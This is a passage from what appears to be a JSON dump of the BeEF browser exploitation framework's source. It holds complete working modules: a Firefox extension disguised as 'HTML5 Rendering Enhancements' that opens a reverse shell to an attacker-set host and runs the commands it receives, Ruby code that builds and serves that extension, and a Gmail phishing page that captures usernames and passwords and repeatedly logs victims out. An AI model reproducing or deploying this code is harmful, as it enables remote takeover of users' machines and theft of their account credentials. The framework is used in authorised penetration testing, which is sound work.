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'>\");\n        $j(hid).append(elr);\n        $j(hid).click(function() {\n            $j(this).slideUp(300,function() {\n                $j(this).remove();\n            });\n            //window.location.href = ff_extension;\n            window.open(ff_extension);\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n        });\n        $j(hid).css('cursor','pointer');\n        $j(hid).slideDown(300,function() {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n        });\n    }\n});\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        firefox_extension_reverse_shell:\n            enable: true\n            category: [\"Social Engineering\"]\n            name: \"Firefox Extension (Reverse Shell)\"\n            description: \"Create on the fly a malicious Firefox extension that makes a reverse shell connection to a specified host:port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit.\"\n            authors: [\"antisnatchor\", \"bcoles\"]\n            target:\n                user_notify:\n                    FF:\n                        min_ver: 1\n                        max_ver: 56\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/extension/bootstrap.js",
    "content": "\nfunction startup(data, reason) {\n  var file = Components.classes[\"@mozilla.org/file/directory_service;1\"].\n          getService(Components.interfaces.nsIProperties).\n          get(\"ProfD\", Components.interfaces.nsIFile);\n  file.append(\"extensions\");\n    xpi_guid=\"{861fb387-92ce-bb0a-cb48-4b923dbc292b}\";\n  file.append(xpi_guid);\n\n      // # ./msfpayload firefox/shell_reverse_tcp\n      (function(){\n        Components.utils.import(\"resource://gre/modules/NetUtil.jsm\");\n        var host = '__reverse_shell_host_placeholder__';\n        var port = __reverse_shell_port_placeholder__;\n\n        var socketTransport = Components.classes[\"@mozilla.org/network/socket-transport-service;1\"]\n                                .getService(Components.interfaces.nsISocketTransportService);\n        var socket = socketTransport.createTransport(null, 0, host, port, null);\n        var outStream = socket.openOutputStream(0, 0, 0);\n        var inStream = socket.openInputStream(0, 0, 0);\n\n        var pump = Components.classes[\"@mozilla.org/network/input-stream-pump;1\"]\n                       .createInstance(Components.interfaces.nsIInputStreamPump);\n        pump.init(inStream, -1, -1, 0, 0, true);\n\n        var listener = {\n          onStartRequest: function(request, context) {},\n          onStopRequest: function(request, context) {},\n          onDataAvailable: function(request, context, stream, offset, count) {\n            var data = NetUtil.readInputStreamToString(stream, count).trim();\n            runCmd(data, function(err, output) {\n              if (!err) outStream.write(output, output.length);\n            });\n          }\n        };\n\n      var readFile = function(path) {\n        try {\n          var file = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n          file.initWithPath(path);\n\n          var fileStream = Components.classes[\"@mozilla.org/network/file-input-stream;1\"]\n                           .createInstance(Components.interfaces.nsIFileInputStream);\n          fileStream.init(file, 1, 0, false);\n\n          var binaryStream = Components.classes[\"@mozilla.org/binaryinputstream;1\"]\n                             .createInstance(Components.interfaces.nsIBinaryInputStream);\n          binaryStream.setInputStream(fileStream);\n          var array = binaryStream.readByteArray(fileStream.available());\n\n          binaryStream.close();\n          fileStream.close();\n          file.remove(true);\n\n          return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(\"\");\n        } catch (e) { return \"\"; }\n      };\n    \n      \n      var setTimeout = function(cb, delay) {\n        var timer = Components.classes[\"@mozilla.org/timer;1\"].createInstance(Components.interfaces.nsITimer);\n        timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);\n        return timer;\n      };\n    \n\n      var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n      var windows = (ua.indexOf(\"Windows\")>-1);\n      var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n      var jscript = ({\"src\":\"\\n      var b64 = WScript.arguments(0);\\n      var dom = new ActiveXObject(\\\"MSXML2.DOMDocument.3.0\\\");\\n      var el  = dom.createElement(\\\"root\\\");\\n      el.dataType = \\\"bin.base64\\\"; el.text = b64; dom.appendChild(el);\\n      var stream = new ActiveXObject(\\\"ADODB.Stream\\\");\\n      stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\\n      stream.Position=0; stream.type=2; stream.CharSet = \\\"us-ascii\\\"; stream.Position=0;\\n      var cmd = stream.ReadText();\\n      (new ActiveXObject(\\\"WScript.Shell\\\")).Run(cmd, 0, true);\\n    \"}).src;\n      var runCmd = function(cmd, cb) {\n        cb = cb || (function(){});\n\n        if (cmd.trim().length == 0) {\n          setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n          return;\n        }\n\n        var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());\n        if (js) {\n          var tag = \"[!JAVASCRIPT]\";\n          var sync = true;  // avoid zalgo's reach\n          var sent = false;\n          var retVal = null;\n\n          try {\n            retVal = Function('send', js[1])(function(r){\n              if (sent) return;\n              sent = true\n              if (r) {\n                if (sync) setTimeout(function(){ cb(false, r+tag+\"\\n\"); });\n                else      cb(false, r+tag+\"\\n\");\n              }\n            });\n          } catch (e) { retVal = e.message; }\n\n          sync = false;\n\n          if (retVal && !sent) {\n            sent = true;\n            setTimeout(function(){ cb(false, retVal+tag+\"\\n\"); });\n          }\n\n          return;\n        }\n\n        var shEsc = \"\\\\$&\";\n        var shPath = \"/bin/sh -c\"\n\n        if (windows) {\n          shPath = \"cmd /c\";\n          shEsc = \"\\^$&\";\n          var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n            .getService(Components.interfaces.nsIProperties)\n            .get(\"TmpD\", Components.interfaces.nsIFile);\n          jscriptFile.append('7kZuA4kPoh2HzVagS.js');\n          var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n            .createInstance(Components.interfaces.nsIFileOutputStream);\n          stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);\n          stream.write(jscript, jscript.length);\n          if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n            stream.finish();\n          } else {\n            stream.close();\n          }\n        }\n\n        var stdoutFile = \"7tDzOIHbP3vzglqB\";\n\n        var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n          .getService(Components.interfaces.nsIProperties)\n          .get(\"TmpD\", Components.interfaces.nsIFile);\n        stdout.append(stdoutFile);\n\n        if (windows) {\n          var shell = shPath+\" \"+cmd;\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n          var b64 = svcs.btoa(shell);\n        } else {\n          var shell = shPath+\" \"+cmd.replace(/\\W/g, shEsc);\n          shell = shPath+\" \"+shell.replace(/\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n        }\n        var process = Components.classes[\"@mozilla.org/process/util;1\"]\n          .createInstance(Components.interfaces.nsIProcess);\n        var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n                   .createInstance(Components.interfaces.nsILocalFile);\n\n        if (windows) {\n          sh.initWithPath(\"C:\\\\Windows\\\\System32\\\\wscript.exe\");\n          process.init(sh);\n          var args = [jscriptFile.path, b64];\n          process.run(true, args, args.length);\n          jscriptFile.remove(true);\n          setTimeout(function(){cb(false, cmd+\"\\n\"+readFile(stdout.path));});\n        } else {\n          sh.initWithPath(\"/bin/sh\");\n          process.init(sh);\n          var args = [\"-c\", shell];\n          process.run(true, args, args.length);\n          setTimeout(function(){cb(false, readFile(stdout.path));});\n        }\n      };\n    \n\n        pump.asyncRead(listener, null);\n      })();\n\n\n\n  try { // Fx < 4.0\n    Components.classes[\"@mozilla.org/extensions/manager;1\"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);\n  } catch (e) {}\n  try { // Fx 4.0 and later\n    Components.utils.import(\"resource://gre/modules/AddonManager.jsm\");\n    AddonManager.getAddonByID(xpi_guid, function(addon) {\n      addon.uninstall();\n    });\n  } catch (e) {}\n      }\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/extension/build/readme.txt",
    "content": "This is a temp directory where the Firefox extension will be built."
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/extension/chrome.manifest",
    "content": "content\t{861fb387-92ce-bb0a-cb48-4b923dbc292b}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/extension/install.rdf",
    "content": "<?xml version=\"1.0\"?>\n<RDF xmlns=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:em=\"http://www.mozilla.org/2004/em-rdf#\">\n  <Description about=\"urn:mozilla:install-manifest\">\n    <em:id>{861fb387-92ce-bb0a-cb48-4b923dbc292b}</em:id>\n    <em:name>__extension_name_placeholder__</em:name>\n    <em:version>1.0</em:version>\n    <em:bootstrap>true</em:bootstrap>\n    <em:unpack>true</em:unpack>\n    <em:targetApplication>\n      <Description>\n        <em:id>toolkit@mozilla.org</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    <em:targetApplication>\n      <Description>\n        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    </Description>\n</RDF>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/extension/overlay.xul",
    "content": "<?xml version=\"1.0\"?>\n<overlay xmlns=\"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul\">\n  <script src=\"bootstrap.js\"/>\n  <script><![CDATA[window.addEventListener(\"load\", function(e) { startup(); }, false);]]></script>\n</overlay>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Firefox_extension_reverse_shell < BeEF::Core::Command\n  class Bind_extension < BeEF::Core::Router::Router\n    before do\n      headers 'Content-Type' => 'application/x-xpinstall',\n              'Pragma' => 'no-cache',\n              'Cache-Control' => 'no-cache',\n              'Expires' => '0'\n    end\n\n    get '/' do\n      response['Content-Type'] = 'application/x-xpinstall'\n      extension_path = settings.extension_path\n      print_info \"Serving malicious Firefox Extension (Reverse Shell): #{extension_path}\"\n      send_file extension_path.to_s,\n                type: 'application/x-xpinstall',\n                disposition: 'inline'\n    end\n  end\n\n  def pre_send\n    # gets the value configured in the module configuration by the user\n    @datastore.each do |input|\n      @extension_name = input['value'] if input['name'] == 'extension_name'\n      @xpi_name = input['value'] if input['name'] == 'xpi_name'\n      @lport = input['value'] if input['name'] == 'lport'\n      @lhost = input['value'] if input['name'] == 'lhost'\n    end\n\n    mod_path = \"#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell\"\n    extension_path = \"#{mod_path}/extension\"\n\n    # clean the build directory\n    FileUtils.rm_rf(\"#{extension_path}/build/.\", secure: true)\n\n    # copy in the build directory necessary file, substituting placeholders\n    File.open(\"#{extension_path}/build/install.rdf\", 'w') do |file|\n      file.puts File.read(\"#{extension_path}/install.rdf\").gsub!('__extension_name_placeholder__', @extension_name)\n    end\n    File.open(\"#{extension_path}/build/bootstrap.js\", 'w') do |file|\n      file.puts File.read(\"#{extension_path}/bootstrap.js\").gsub!('__reverse_shell_port_placeholder__', @lport).gsub!('__reverse_shell_host_placeholder__', @lhost)\n    end\n    File.open(\"#{extension_path}/build/overlay.xul\", 'w')     { |file| file.puts File.read(\"#{extension_path}/overlay.xul\") }\n    File.open(\"#{extension_path}/build/chrome.manifest\", 'w') { |file| file.puts File.read(\"#{extension_path}/chrome.manifest\") }\n\n    extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest']\n\n    # create the XPI extension container\n    xpi = \"#{extension_path}/#{@xpi_name}.xpi\"\n    File.delete(xpi) if File.exist?(xpi)\n    Zip::File.open(xpi, Zip::File::CREATE) do |xpi|\n      extension_content.each do |filename|\n        xpi.add(filename, \"#{extension_path}/build/#{filename}\")\n      end\n    end\n\n    # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)\n    bind_extension = Firefox_extension_reverse_shell::Bind_extension\n    bind_extension.set :extension_path, \"#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi\"\n    BeEF::Core::Server.instance.mount(\"/#{@xpi_name}.xpi\", bind_extension.new)\n    BeEF::Core::Server.instance.remap\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n    [\n      { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },\n      { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },\n      { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '1337' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => beef_host.to_s }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/gmail_phishing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\twindow.clickedSubmitButton = function () {\n\t\tvar credentials = \"Username: \"+document.getElementById('Email').value+\" Password: \"+document.getElementById('Passwd').value;\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+credentials);\n\t\t//Timeout needed because otherwise the beef panel doesn't get the credentials in time\n\t\tsetTimeout(window.redirect, <%= @wait_seconds_before_redirect %>);\n\t};\n\n\twindow.redirect = function () {\n\t\tvar theXssUrl = \"<%== @xss_hook_url %>\";\n\t\tif(theXssUrl){\n\t\t\twindow.open(theXssUrl);\n\t\t\twindow.focus();\n\t\t}\n\t\twindow.location = \"https://accounts.google.com/\";\n\t};\n\n\tfunction logoutGoogle() {\n\t\tvar img = document.createElement(\"IMG\");\n\t\timg.src = \"https://mail.google.com/mail/?logout\";\n\t\timg.height = \"1px\";\n\t\timg.width = \"1px\";\n\t\timg.style.visibility = \"hidden\";\n\t\tdocument.body.appendChild(img);\n\t\t//set a new setTimeout to redo the logout\n\t\tsetTimeout(logoutGoogle, <%= @logout_gmail_interval %>);\n\t}\n\n\tfunction displayPhishingSite(){\n\t\tvar zztop = beef.dom.getHighestZindex()+1;\n\t\tbeef.dom.removeStylesheets();\n\t\tdocument.body.innerHTML = \"<!DOCTYPE html> <html lang='en'>   <head>   <meta charset='utf-8'>   <title>Google Mail: Email from Google</title>   <meta name='description' content='7+ GB of storage, less spam, and mobile access.  is email that&#39;s intuitive, efficient, and useful. And maybe even fun.'>   <link rel='icon' type='image/ico' href='https://mail.google.com/favicon.ico'> <style type='text/css'>   html, body, div, h1, h2, h3, h4, h5, h6, p, img, dl,   dt, dd, ol, ul, li, table, tr, td, form, object, embed,   article, aside, canvas, command, details, fieldset,   figcaption, figure, footer, group, header, hgroup, legend,   mark, menu, meter, nav, output, progress, section, summary,   time, audio, video {   margin: 0;   padding: 0;   border: 0;   }   article, aside, details, figcaption, figure, footer,   header, hgroup, menu, nav, section {   display: block;   }   html {   font: 81.25% arial, helvetica, sans-serif;   background: #fff;   color: #333;   line-height: 1;   direction: ltr;   }   a {   color: #15c;   text-decoration: none;   }   a:active {   color: #d14836;   }   a:hover {   text-decoration: underline;   }   h1, h2, h3, h4, h5, h6 {   color: #222;   font-size: 1.54em;   font-weight: normal;   line-height: 24px;   margin: 0 0 .46em;   }   p {   line-height: 17px;   margin: 0 0 1em;   }   ol, ul {   list-style: none;   line-height: 17px;   margin: 0 0 1em;   }   li {   margin: 0 0 .5em;   }   table {   border-collapse: collapse;   border-spacing: 0;   }   strong {   color: #222;   } </style> <style type='text/css'>   html, body {   position: absolute;   height: 100%;   min-width: 100%;   }   .wrapper {   position: relative;   min-height: 100%;   }   .wrapper + style + iframe {   display: none;   }   .content {   padding: 0 44px;   }   .google-header-bar {   height: 71px;   background: #f1f1f1;   border-bottom: 1px solid #e5e5e5;   overflow: hidden;   }   .header .logo {   margin: 17px 0 0;   float: left;   }   .header .signin,   .header .signup {   margin: 28px 0 0;   float: right;   font-weight: bold;   }   .header .signin-button,   .header .signup-button {   margin: 22px 0 0;   float: right;   }   .header .signin-button a {   font-size: 13px;   font-weight: normal;   }   .header .signup-button a {   position: relative;   top: -1px;   margin: 0 0 0 1em;   }   .main {   margin: 0 auto;   width: 650px;   padding-top: 23px;   padding-bottom: 100px;   }   .main h1:first-child {   margin: 0 0 .92em;   }   .google-footer-bar {   position: absolute;   bottom: 0;   height: 35px;   width: 100%;   border-top: 1px solid #ebebeb;   overflow: hidden;   }   .footer {   padding-top: 9px;   font-size: .85em;   white-space: nowrap;   line-height: 0;   }   .footer ul {   color: #999;   float: left;   max-width: 80%;   }   .footer ul li {   display: inline;   padding: 0 1.5em 0 0;   }   .footer a {   color: #333;   }   .footer form {   text-align: right;   }   .footer form .lang-chooser {   max-width: 20%;   }   .redtext {   color: #dd4b39;   }   .greytext {   color: #555;   }   .secondary {   font-size: 11px;   color: #666;   }   .source {   color: #093;   }   .hidden {   display: none;   }   .announce-bar {   position: absolute;   bottom: 35px;   height: 33px;   z-index:\"+zztop+\" ;   width: 100%;   background: #f9edbe;   border-top: 1px solid #efe1ac;   border-bottom: 1px solid #efe1ac;   overflow: hidden;   }   .announce-bar .message {   font-size: .85em;   line-height: 33px;   margin: 0;   }   .announce-bar .message .separated {   margin-left: 1.5em;   }   .announce-bar-ac {   background: #eee;   border-top: 1px solid #e5e5e5;   border-bottom: 1px solid #e5e5e5;   }   .clearfix:after {   visibility: hidden;   display: block;   font-size: 0;   content: '.';   clear: both;   height: 0;   }   * html .clearfix {   zoom: 1;   }   *:first-child+html .clearfix {   zoom: 1;   } </style> <style type='text/css'>   button, input, select, textarea {   font-family: inherit;   font-size: inherit;   }   button::-moz-focus-inner,   input::-moz-focus-inner {   border: 0;   }   input[type=email],   input[type=number],   input[type=password],   input[type=tel],   input[type=text],   input[type=url] {   display: inline-block;   height: 29px;   margin: 0;   padding: 0 8px;   background: #fff;   border: 1px solid #d9d9d9;   border-top: 1px solid #c0c0c0;   -webkit-box-sizing: border-box;   -moz-box-sizing: border-box;   box-sizing: border-box;   -webkit-border-radius: 1px;   -moz-border-radius: 1px;   border-radius: 1px;   }   input[type=email]:hover,   input[type=number]:hover,   input[type=password]:hover,   input[type=tel]:hover,   input[type=text]:hover,   input[type=url]:hover {   border: 1px solid #b9b9b9;   border-top: 1px solid #a0a0a0;   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);   }   input[type=email]:focus,   input[type=number]:focus,   input[type=password]:focus,   input[type=tel]:focus,   input[type=text]:focus,   input[type=url]:focus {   outline: none;   border: 1px solid #4d90fe;   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);   }   input[type=email][disabled=disabled],   input[type=number][disabled=disabled],   input[type=password][disabled=disabled],   input[type=tel][disabled=disabled],   input[type=text][disabled=disabled],   input[type=url][disabled=disabled] {   border: 1px solid #e5e5e5;   background: #f1f1f1;   }   input[type=email][disabled=disabled]:hover,   input[type=number][disabled=disabled]:hover,   input[type=password][disabled=disabled]:hover,   input[type=tel][disabled=disabled]:hover,   input[type=text][disabled=disabled]:hover,   input[type=url][disabled=disabled]:hover {   -webkit-box-shadow: none;   -moz-box-shadow: none;   box-shadow: none;   }   input[type=email][readonly=readonly],   input[type=number][readonly=readonly],   input[type=password][readonly=readonly],   input[type=text][readonly=readonly],   input[type=url][readonly=readonly] {   border: 1px solid #d9d9d9;   }   input[type=email][readonly=readonly]:hover,   input[type=number][readonly=readonly]:hover,   input[type=password][readonly=readonly]:hover,   input[type=text][readonly=readonly]:hover,   input[type=url][readonly=readonly]:hover,   input[type=email][readonly=readonly]:focus,   input[type=number][readonly=readonly]:focus,   input[type=password][readonly=readonly]:focus,   input[type=text][readonly=readonly]:focus,   input[type=url][readonly=readonly]:focus {   -webkit-box-shadow: none;   -moz-box-shadow: none;   box-shadow: none;   }   input[type=checkbox].form-error,   input[type=email].form-error,   input[type=number].form-error,   input[type=password].form-error,   input[type=text].form-error,   input[type=url].form-error {   border: 1px solid #dd4b39;   }   input[type=checkbox],   input[type=radio] {   -webkit-appearance: none;   appearance: none;   width: 13px;   height: 13px;   margin: 0;   cursor: pointer;   vertical-align: bottom;   background: #fff;   border: 1px solid #dcdcdc;   -webkit-border-radius: 1px;   -moz-border-radius: 1px;   border-radius: 1px;   -webkit-box-sizing: border-box;   -moz-box-sizing: border-box;   box-sizing: border-box;   position: relative;   }   input[type=checkbox]:active,   input[type=radio]:active {   border-color: #c6c6c6;   background: #ebebeb;   }   input[type=checkbox]:hover {   border-color: #c6c6c6;   -webkit-box-shadow: inset 0 1px 1px 